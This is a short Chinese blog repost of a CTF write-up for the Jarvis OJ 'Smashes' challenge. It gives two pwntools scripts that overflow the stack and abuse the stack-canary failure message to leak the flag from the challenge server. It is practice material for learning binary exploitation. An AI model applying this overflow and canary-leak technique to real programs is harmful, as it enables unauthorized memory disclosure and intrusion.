码迷,mamicode.com
首页 > 编程语言 > 详细

Jarvis OJ-Smashes

时间:2017-05-16 20:05:36      阅读:969      评论:0      收藏:0      [点我收藏+]

标签:ack   玩法   deb   libc   space   proc   rom   ash   栈溢出   

栈溢出之利用-stack-chk-fail

from pwn import *
old_flag_addr = 0x600d20
new_flag_addr = 0x400d20
#p = process(‘./smashes‘)
p = remote(‘pwn.jarvisoj.com‘, 9877)
p.recvuntil("name?")
payload = "a"*0x218 + p64(new_flag_addr) 
payload += p64(0) + p64(old_flag_addr)
p.sendline(payload)
p.recvuntil("flag: ")
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
flag = p.recv()
print flag

论canary的几种玩法

from pwn import *
context.log_level = ‘debug‘
cn = remote(‘pwn.jarvisoj.com‘, 9877)
# cn = process(‘smashes‘)
cn.recv()
cn.sendline(p64(0x0400d20)*300)
cn.recv()
cn.sendline()
cn.recv()

  

Jarvis OJ-Smashes

标签:ack   玩法   deb   libc   space   proc   rom   ash   栈溢出   

原文地址:http://www.cnblogs.com/elvirangel/p/6863206.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!